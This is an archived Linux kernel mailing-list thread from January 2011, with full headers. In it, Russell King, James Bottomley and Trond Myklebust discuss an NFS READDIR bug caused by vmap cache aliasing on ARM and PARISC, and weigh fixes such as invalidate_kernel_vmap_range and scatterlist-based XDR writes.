Subject: Re: still nfs problems [Was: Linux 2.6.37-rc8]
Date: Fri, 7 Jan 2011 19:02:29 +0000
Lines: 23
Approved: news@gmane.org
Message-ID: <20110107190229.GX31708@n2100.arm.linux.org.uk>
References: <20110105210448.GM8638@n2100.arm.linux.org.uk> <AANLkTi=EXXBTW7oWHq3D+PHsx=thF1CpkRjn0ax2p5rm@mail.gmail.com> <1294262208.2952.4.camel@heimdal.trondhjem.org> <AANLkTi=3Gu-rz=-OdNtUXn4qw60Df6=YePnzvB=s-+Ov@mail.gmail.com> <1294268808.2952.18.camel@heimdal.trondhjem.org> <1294270104.16957.73.camel@mulgrave.site> <1294335614.22825.154.camel@mulgrave.site> <1294336054.2905.1.camel@heimdal.trondhjem.org> <AANLkTimusF4KCJ4vHPn+T1dUiKxapXaT0QTtFvh8Ykdd@mail.gmail.com> <1294426405.2929.23.camel@heimdal.trondhjem.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1294426996 8342 80.91.229.12 (7 Jan 2011 19:03:16 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 7 Jan 2011 19:03:16 +0000 (UTC)
Cc: Linus Torvalds <torvalds-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>,
	James Bottomley <James.Bottomley-JuX6DAaQMKPCXq6kfMZ53/egYHeGw8Jk@public.gmane.org>,
	linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Marc Kleine-Budde <mkl-bIcnvbaLZ9MEGnE8C9+IrQ@public.gmane.org>,
	Uwe =?iso-8859-1?Q?Kleine-K=F6nig?= 
	<u.kleine-koenig-bIcnvbaLZ9MEGnE8C9+IrQ@public.gmane.org>,
	Marc Kleine-Budde <m.kleine-budde-bIcnvbaLZ9MEGnE8C9+IrQ@public.gmane.org>,
	linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	Parisc List <linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: Trond Myklebust <Trond.Myklebust-HgOvQuBEEgTQT0dZR+AlfA@public.gmane.org>
Original-X-From: linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Fri Jan 07 20:03:10 2011
Return-path: <linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glN-linux-nfs-1dZseelyfdZg9hUCZPvPmw@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1PbHad-0008VC-Uh
	for glN-linux-nfs-1dZseelyfdZg9hUCZPvPmw@public.gmane.org; Fri, 07 Jan 2011 20:03:08 +0100
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1754076Ab1AGTDG (ORCPT <rfc822;glN-linux-nfs@m.gmane.org>);
	Fri, 7 Jan 2011 14:03:06 -0500
Original-Received: from caramon.arm.linux.org.uk ([78.32.30.218]:35341 "EHLO
	caramon.arm.linux.org.uk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751590Ab1AGTDF (ORCPT
	<rfc822;linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Fri, 7 Jan 2011 14:03:05 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=arm.linux.org.uk; s=caramon;
	h=Sender:In-Reply-To:Content-Type:MIME-Version:References:Message-ID:Subject:Cc:To:From:Date; bh=zbqd1UYlWRIBojTBbPCjgnn9YnVFaKnE6oKpybXc7/U=;
	b=bW/IhHn0HaPVBDNN6gqzKDteQ/5gnBU5jh/020CKusbOAAHly4SMI1kesbSM6vzcu3KWruuIujUU8WA/EZ3yiNIvShNulkzIOitXqY2gaHldblkRz3ZWzH6/4SsAVbURXv1caHRFJm9N2YjcT3WHMuyBdAXnCa6gLT6IAvbaiGk=;
Original-Received: from n2100.arm.linux.org.uk ([2002:4e20:1eda:1:214:fdff:fe10:4f86])
	by caramon.arm.linux.org.uk with esmtpsa (TLSv1:AES256-SHA:256)
	(Exim 4.72)
	(envelope-from <linux-lFZ/pmaqli7XmaaqVzeoHQ@public.gmane.org>)
	id 1PbHa3-0001uQ-25; Fri, 07 Jan 2011 19:02:31 +0000
Original-Received: from linux by n2100.arm.linux.org.uk with local (Exim 4.72)
	(envelope-from <linux-l+eeeJia6m9vn6HldHNs0ANdhmdF6hFW@public.gmane.org>)
	id 1PbHa1-0000Ed-Mj; Fri, 07 Jan 2011 19:02:29 +0000
Content-Disposition: inline
In-Reply-To: <1294426405.2929.23.camel-rJ7iovZKK19ZJLDQqaL3InhyD016LWXt@public.gmane.org>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-nfs.vger.kernel.org>
X-Mailing-List: linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.nfs:38093 gmane.linux.kernel:1085007 gmane.linux.ports.arm.kernel:101907 gmane.linux.ports.parisc:3352 gmane.linux.kernel.cross-arch:8705
Archived-At: <http://permalink.gmane.org/gmane.linux.nfs/38093>

On Fri, Jan 07, 2011 at 01:53:25PM -0500, Trond Myklebust wrote:
> I'd still like to keep the existing code for those architectures that
> don't have problems, since that allows us to send 32k READDIR requests
> instead of being limited to 4k. For large directories, that is a clear
> win.
> For the NOMMU case we will just go back to using a single page for
> storage (and 4k READDIR requests only). Should I just do the same for
> architectures like ARM and PARISC?

I think you said that readdir reads via the vmalloc mapping of the
group of pages, but XDR writes to the individual pages.

As I understand NFS, you receive a packet, you then have to use XDR
to unpack the data, which you presumably write into the set of
struct page *'s using kmap?

Isn't a solution to have XDR write directly into the vmalloc mapping
rather than using struct page * and kmap?
--
To unsubscribe from this list: send the line "unsubscribe linux-nfs" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.nfs,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc
Subject: Re: still nfs problems [Was: Linux 2.6.37-rc8]
Date: Fri, 07 Jan 2011 13:05:00 -0600
Lines: 40
Approved: news@gmane.org
Message-ID: <1294427100.4895.58.camel@mulgrave.site>
References: <1294254337.16957.13.camel@mulgrave.site>
	 <AANLkTi=VZUxNFd7n-qwf5aiOeK5rkk8qBmo+kOpgg7up@mail.gmail.com>
	 <1294256169.16957.18.camel@mulgrave.site>
	 <20110105200008.GJ8638@n2100.arm.linux.org.uk>
	 <1294259637.16957.25.camel@mulgrave.site>
	 <AANLkTimzzBsdtWcZtP5E_CH1hUZugGMoaHOiMdQJf764@mail.gmail.com>
	 <20110105210448.GM8638@n2100.arm.linux.org.uk>
	 <AANLkTi=EXXBTW7oWHq3D+PHsx=thF1CpkRjn0ax2p5rm@mail.gmail.com>
	 <1294262208.2952.4.camel@heimdal.trondhjem.org>
	 <AANLkTi=3Gu-rz=-OdNtUXn4qw60Df6=YePnzvB=s-+Ov@mail.gmail.com>
	 <1294268808.2952.18.camel@heimdal.trondhjem.org>
	 <1294270104.16957.73.camel@mulgrave.site>
	 <1294335614.22825.154.camel@mulgrave.site>
	 <1294336054.2905.1.camel@heimdal.trondhjem.org>
	 <AANLkTimusF4KCJ4vHPn+T1dUiKxapXaT0QTtFvh8Ykdd@mail.gmail.com>
	 <1294426405.2929.23.camel@heimdal.trondhjem.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1294427116 9014 80.91.229.12 (7 Jan 2011 19:05:16 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 7 Jan 2011 19:05:16 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	Russell King - ARM Linux <linux@arm.linux.org.uk>,
	linux-nfs@vger.kernel.org, linux-kernel@vger.kernel.org,
	Marc Kleine-Budde <mkl@pengutronix.de>,
	Uwe =?ISO-8859-1?Q?Kleine-K=F6nig?= 
	<u.kleine-koenig@pengutronix.de>,
	Marc Kleine-Budde <m.kleine-budde@pengutronix.de>,
	linux-arm-kernel@lists.infradead.org,
	Parisc List <linux-parisc@vger.kernel.org>,
	linux-arch@vger.kernel.org
To: Trond Myklebust <Trond.Myklebust@netapp.com>
Original-X-From: linux-arch-owner@vger.kernel.org Fri Jan 07 20:05:08 2011
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1PbHcY-0000Uf-UU
	for glka-linux-arch@lo.gmane.org; Fri, 07 Jan 2011 20:05:07 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755121Ab1AGTFF (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Fri, 7 Jan 2011 14:05:05 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:44147 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755056Ab1AGTFE (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Fri, 7 Jan 2011 14:05:04 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 779B08EE114;
	Fri,  7 Jan 2011 11:05:03 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id qnH0ppFOfnT7; Fri,  7 Jan 2011 11:05:03 -0800 (PST)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 71E748EE10C;
	Fri,  7 Jan 2011 11:05:02 -0800 (PST)
In-Reply-To: <1294426405.2929.23.camel@heimdal.trondhjem.org>
X-Mailer: Evolution 2.30.1.2 
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:8706 gmane.linux.nfs:38094 gmane.linux.kernel:1085008 gmane.linux.ports.arm.kernel:101909 gmane.linux.ports.parisc:3353
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/8706>

On Fri, 2011-01-07 at 13:53 -0500, Trond Myklebust wrote:
> There is already code in the SUNRPC layer that calls flush_dcache_page()
> after writing (although as Russell pointed out earlier, that is
> apparently a no-op for non-page cache pages such as these).

Actually (and possibly fortunately) none of our flush_dcache_page()
implementations do this (check for an actual non page cache page and nop
if they find one).  Although, they may according to the docs which say
that flush_dcache_page() is only called on page cache pages.

But it's definitely using the API outside its documented scope.  We have
lots of places in the VFS where we don't call flush_dcache_page() even
after altering a kernel page (even in the page cache) if we know the
page will never be mapped to userspace.  The assumption here is that the
kernel never sets up non-user aliases of these pages, so not doing the
flushing is an optimisation since we only access them through the kernel
address space.  Of course, setting up vmap areas of these pages within
the kernel violates this assumption.

> > This is why you really really really generally don't want to have
> > aliasing. Purely virtual caches are pure crap. Really.
> 
> Well, it looks as if NOMMU is giving us problems due to the lack of a
> vm_map_ram() (see https://bugzilla.kernel.org/show_bug.cgi?id=26262).
> 
> I'd still like to keep the existing code for those architectures that
> don't have problems, since that allows us to send 32k READDIR requests
> instead of being limited to 4k. For large directories, that is a clear
> win.
> For the NOMMU case we will just go back to using a single page for
> storage (and 4k READDIR requests only). Should I just do the same for
> architectures like ARM and PARISC?

Well, that would include any VI architecture (like SPARC and others) as
well.  However, I think we can just make the
invalidate_kernel_vmap_range() work.

James



From - Thu Nov 08 21:06:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.nfs,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.kernel.cross-arch
Subject: Re: still nfs problems [Was: Linux 2.6.37-rc8]
Date: Fri, 07 Jan 2011 13:11:07 -0600
Lines: 43
Approved: news@gmane.org
Message-ID: <1294427467.4895.66.camel@mulgrave.site>
References: <20110105210448.GM8638@n2100.arm.linux.org.uk>
	 <AANLkTi=EXXBTW7oWHq3D+PHsx=thF1CpkRjn0ax2p5rm@mail.gmail.com>
	 <1294262208.2952.4.camel@heimdal.trondhjem.org>
	 <AANLkTi=3Gu-rz=-OdNtUXn4qw60Df6=YePnzvB=s-+Ov@mail.gmail.com>
	 <1294268808.2952.18.camel@heimdal.trondhjem.org>
	 <1294270104.16957.73.camel@mulgrave.site>
	 <1294335614.22825.154.camel@mulgrave.site>
	 <1294336054.2905.1.camel@heimdal.trondhjem.org>
	 <AANLkTimusF4KCJ4vHPn+T1dUiKxapXaT0QTtFvh8Ykdd@mail.gmail.com>
	 <1294426405.2929.23.camel@heimdal.trondhjem.org>
	 <20110107190229.GX31708@n2100.arm.linux.org.uk>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1294427479 10976 80.91.229.12 (7 Jan 2011 19:11:19 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 7 Jan 2011 19:11:19 +0000 (UTC)
Cc: Trond Myklebust <Trond.Myklebust@netapp.com>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	linux-nfs@vger.kernel.org, linux-kernel@vger.kernel.org,
	Marc Kleine-Budde <mkl@pengutronix.de>,
	Uwe =?ISO-8859-1?Q?Kleine-K=F6nig?= 
	<u.kleine-koenig@pengutronix.de>,
	Marc Kleine-Budde <m.kleine-budde@pengutronix.de>,
	linux-arm-kernel@lists.infradead.org,
	Parisc List <linux-parisc@vger.kernel.org>,
	linux-arch@vger.kernel.org
To: Russell King - ARM Linux <linux@arm.linux.org.uk>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 07 20:11:13 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PbHiS-0004MO-NX
	for glpp-linux-parisc@lo.gmane.org; Fri, 07 Jan 2011 20:11:13 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755344Ab1AGTLL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 7 Jan 2011 14:11:11 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:56418 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755116Ab1AGTLJ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 7 Jan 2011 14:11:09 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 6BC0B8EE10C;
	Fri,  7 Jan 2011 11:11:09 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id LkripJjTFYDy; Fri,  7 Jan 2011 11:11:09 -0800 (PST)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 6B9548EE0DF;
	Fri,  7 Jan 2011 11:11:08 -0800 (PST)
In-Reply-To: <20110107190229.GX31708@n2100.arm.linux.org.uk>
X-Mailer: Evolution 2.30.1.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3354 gmane.linux.nfs:38095 gmane.linux.kernel:1085014 gmane.linux.ports.arm.kernel:101910 gmane.linux.kernel.cross-arch:8707
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3354>

On Fri, 2011-01-07 at 19:02 +0000, Russell King - ARM Linux wrote:
> On Fri, Jan 07, 2011 at 01:53:25PM -0500, Trond Myklebust wrote:
> > I'd still like to keep the existing code for those architectures that
> > don't have problems, since that allows us to send 32k READDIR requests
> > instead of being limited to 4k. For large directories, that is a clear
> > win.
> > For the NOMMU case we will just go back to using a single page for
> > storage (and 4k READDIR requests only). Should I just do the same for
> > architectures like ARM and PARISC?
> 
> I think you said that readdir reads via the vmalloc mapping of the
> group of pages, but XDR writes to the individual pages.

Actually it's the other way around, but the point still stands.

> As I understand NFS, you receive a packet, you then have to use XDR
> to unpack the data, which you presumably write into the set of
> struct page *'s using kmap?
> 
> Isn't a solution to have XDR write directly into the vmalloc mapping
> rather than using struct page * and kmap?

So, unfortuantely, I looked at doing this and we can't.  the ->readdir()
call takes an array of pages, not a kernel virtual address of the pages,
so there's no way to tell it to use a different mapping from the usual
kernel one on them.

On the other hand, the xdr routines, since they take the pages anyway,
could use a scatterlist approach to writing through the kernel mapping
instead of using vmap ... we have all the machinery for this in
lib/scatterlist.c ... it's not designed for this case, since it's
designed to allow arbitrary linear reads and writes on a block
scatterlist, but the principle is the same ... it looks like it would be
rather a big patch, though ... 

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Trond Myklebust <Trond.Myklebust@netapp.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.nfs,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc
Subject: Re: still nfs problems [Was: Linux 2.6.37-rc8]
Date: Fri, 07 Jan 2011 14:13:48 -0500
Organization: NetApp Inc
Lines: 34
Approved: news@gmane.org
Message-ID: <1294427628.2929.30.camel@heimdal.trondhjem.org>
References: <20110105210448.GM8638@n2100.arm.linux.org.uk>
	 <AANLkTi=EXXBTW7oWHq3D+PHsx=thF1CpkRjn0ax2p5rm@mail.gmail.com>
	 <1294262208.2952.4.camel@heimdal.trondhjem.org>
	 <AANLkTi=3Gu-rz=-OdNtUXn4qw60Df6=YePnzvB=s-+Ov@mail.gmail.com>
	 <1294268808.2952.18.camel@heimdal.trondhjem.org>
	 <1294270104.16957.73.camel@mulgrave.site>
	 <1294335614.22825.154.camel@mulgrave.site>
	 <1294336054.2905.1.camel@heimdal.trondhjem.org>
	 <AANLkTimusF4KCJ4vHPn+T1dUiKxapXaT0QTtFvh8Ykdd@mail.gmail.com>
	 <1294426405.2929.23.camel@heimdal.trondhjem.org>
	 <20110107190229.GX31708@n2100.arm.linux.org.uk>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8BIT
X-Trace: dough.gmane.org 1294427655 11977 80.91.229.12 (7 Jan 2011 19:14:15 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 7 Jan 2011 19:14:15 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	linux-nfs@vger.kernel.org, linux-kernel@vger.kernel.org,
	Marc Kleine-Budde <mkl@pengutronix.de>,
	Uwe =?ISO-8859-1?Q?Kleine-K=F6nig?= 
	<u.kleine-koenig@pengutronix.de>,
	Marc Kleine-Budde <m.kleine-budde@pengutronix.de>,
	linux-arm-kernel@lists.infradead.org,
	Parisc List <linux-parisc@vger.kernel.org>,
	linux-arch@vger.kernel.org
To: Russell King - ARM Linux <linux@arm.linux.org.uk>
Original-X-From: linux-arch-owner@vger.kernel.org Fri Jan 07 20:14:09 2011
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1PbHlJ-0005nr-3N
	for glka-linux-arch@lo.gmane.org; Fri, 07 Jan 2011 20:14:09 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755117Ab1AGTOH (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Fri, 7 Jan 2011 14:14:07 -0500
Original-Received: from mx2.netapp.com ([216.240.18.37]:45978 "EHLO mx2.netapp.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755021Ab1AGTOF convert rfc822-to-8bit (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Fri, 7 Jan 2011 14:14:05 -0500
X-IronPort-AV: E=Sophos;i="4.60,290,1291622400"; 
   d="scan'208";a="502832510"
Original-Received: from smtp2.corp.netapp.com ([10.57.159.114])
  by mx2-out.netapp.com with ESMTP; 07 Jan 2011 11:13:50 -0800
Original-Received: from svlrsexc1-prd.hq.netapp.com (svlrsexc1-prd.hq.netapp.com [10.57.115.30])
	by smtp2.corp.netapp.com (8.13.1/8.13.1/NTAP-1.6) with ESMTP id p07JDoFT001819;
	Fri, 7 Jan 2011 11:13:50 -0800 (PST)
Original-Received: from SACMVEXC2-PRD.hq.netapp.com ([10.99.115.17]) by svlrsexc1-prd.hq.netapp.com with Microsoft SMTPSVC(6.0.3790.3959);
	 Fri, 7 Jan 2011 11:13:50 -0800
Original-Received: from 10.58.57.134 ([10.58.57.134]) by SACMVEXC2-PRD.hq.netapp.com ([10.99.115.16]) with Microsoft Exchange Server HTTP-DAV ;
 Fri,  7 Jan 2011 19:13:49 +0000
Original-Received: from heimdal.trondhjem.org by SACMVEXC2-PRD.hq.netapp.com; 07 Jan 2011 14:13:49 -0500
In-Reply-To: <20110107190229.GX31708@n2100.arm.linux.org.uk>
X-Mailer: Evolution 2.32.1 (2.32.1-1.fc14) 
X-OriginalArrivalTime: 07 Jan 2011 19:13:50.0101 (UTC) FILETIME=[040A5450:01CBAE9F]
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:8708 gmane.linux.nfs:38096 gmane.linux.kernel:1085017 gmane.linux.ports.arm.kernel:101911 gmane.linux.ports.parisc:3355
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/8708>

On Fri, 2011-01-07 at 19:02 +0000, Russell King - ARM Linux wrote: 
> On Fri, Jan 07, 2011 at 01:53:25PM -0500, Trond Myklebust wrote:
> > I'd still like to keep the existing code for those architectures that
> > don't have problems, since that allows us to send 32k READDIR requests
> > instead of being limited to 4k. For large directories, that is a clear
> > win.
> > For the NOMMU case we will just go back to using a single page for
> > storage (and 4k READDIR requests only). Should I just do the same for
> > architectures like ARM and PARISC?
> 
> I think you said that readdir reads via the vmalloc mapping of the
> group of pages, but XDR writes to the individual pages.
> 
> As I understand NFS, you receive a packet, you then have to use XDR
> to unpack the data, which you presumably write into the set of
> struct page *'s using kmap?

No. The socket or RDMA layers place the data directly into the struct
pages. We then unpack them in the XDR layer using the vmalloc mapping
and place the resulting processed readdir data into the page cache.

> Isn't a solution to have XDR write directly into the vmalloc mapping
> rather than using struct page * and kmap?

Unfortunately that isn't possible. :-(

-- 
Trond Myklebust
Linux NFS client maintainer

NetApp
Trond.Myklebust@netapp.com
www.netapp.com


From - Thu Nov 08 21:06:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Trond Myklebust <Trond.Myklebust-HgOvQuBEEgTQT0dZR+AlfA@public.gmane.org>
Newsgroups: gmane.linux.nfs,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: Re: still nfs problems [Was: Linux 2.6.37-rc8]
Date: Sat, 08 Jan 2011 11:49:44 -0500
Organization: NetApp Inc
Lines: 413
Approved: news@gmane.org
Message-ID: <1294505384.4181.14.camel@heimdal.trondhjem.org>
References: <20110105210448.GM8638@n2100.arm.linux.org.uk>
	 <AANLkTi=EXXBTW7oWHq3D+PHsx=thF1CpkRjn0ax2p5rm@mail.gmail.com>
	 <1294262208.2952.4.camel@heimdal.trondhjem.org>
	 <AANLkTi=3Gu-rz=-OdNtUXn4qw60Df6=YePnzvB=s-+Ov@mail.gmail.com>
	 <1294268808.2952.18.camel@heimdal.trondhjem.org>
	 <1294270104.16957.73.camel@mulgrave.site>
	 <1294335614.22825.154.camel@mulgrave.site>
	 <1294336054.2905.1.camel@heimdal.trondhjem.org>
	 <AANLkTimusF4KCJ4vHPn+T1dUiKxapXaT0QTtFvh8Ykdd@mail.gmail.com>
	 <1294426405.2929.23.camel@heimdal.trondhjem.org>
	 <20110107190229.GX31708@n2100.arm.linux.org.uk>
	 <1294427467.4895.66.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8BIT
X-Trace: dough.gmane.org 1294505415 29675 80.91.229.12 (8 Jan 2011 16:50:15 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 8 Jan 2011 16:50:15 +0000 (UTC)
Cc: Russell King - ARM Linux <linux-lFZ/pmaqli7XmaaqVzeoHQ@public.gmane.org>,
	Linus Torvalds <torvalds-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>,
	linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Marc Kleine-Budde <mkl-bIcnvbaLZ9MEGnE8C9+IrQ@public.gmane.org>,
	Uwe =?ISO-8859-1?Q?Kleine-K=F6nig?= 
	<u.kleine-koenig-bIcnvbaLZ9MEGnE8C9+IrQ@public.gmane.org>,
	Marc Kleine-Budde <m.kleine-budde-bIcnvbaLZ9MEGnE8C9+IrQ@public.gmane.org>,
	linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	Parisc List <linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: James Bottomley <James.Bottomley-d9PhHud1JfjCXq6kfMZ53/egYHeGw8Jk@public.gmane.org>
Original-X-From: linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Sat Jan 08 17:50:09 2011
Return-path: <linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glN-linux-nfs-1dZseelyfdZg9hUCZPvPmw@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1PbbzU-00052r-Dz
	for glN-linux-nfs-1dZseelyfdZg9hUCZPvPmw@public.gmane.org; Sat, 08 Jan 2011 17:50:08 +0100
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1751385Ab1AHQuG (ORCPT <rfc822;glN-linux-nfs@m.gmane.org>);
	Sat, 8 Jan 2011 11:50:06 -0500
Original-Received: from mx2.netapp.com ([216.240.18.37]:14404 "EHLO mx2.netapp.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751315Ab1AHQuE convert rfc822-to-8bit (ORCPT
	<rfc822;linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Sat, 8 Jan 2011 11:50:04 -0500
X-IronPort-AV: E=Sophos;i="4.60,293,1291622400"; 
   d="scan'208";a="503069957"
Original-Received: from smtp2.corp.netapp.com ([10.57.159.114])
  by mx2-out.netapp.com with ESMTP; 08 Jan 2011 08:49:49 -0800
Original-Received: from sacrsexc2-prd.hq.netapp.com (sacrsexc2-prd.hq.netapp.com [10.99.115.28])
	by smtp2.corp.netapp.com (8.13.1/8.13.1/NTAP-1.6) with ESMTP id p08GnjqP018441;
	Sat, 8 Jan 2011 08:49:46 -0800 (PST)
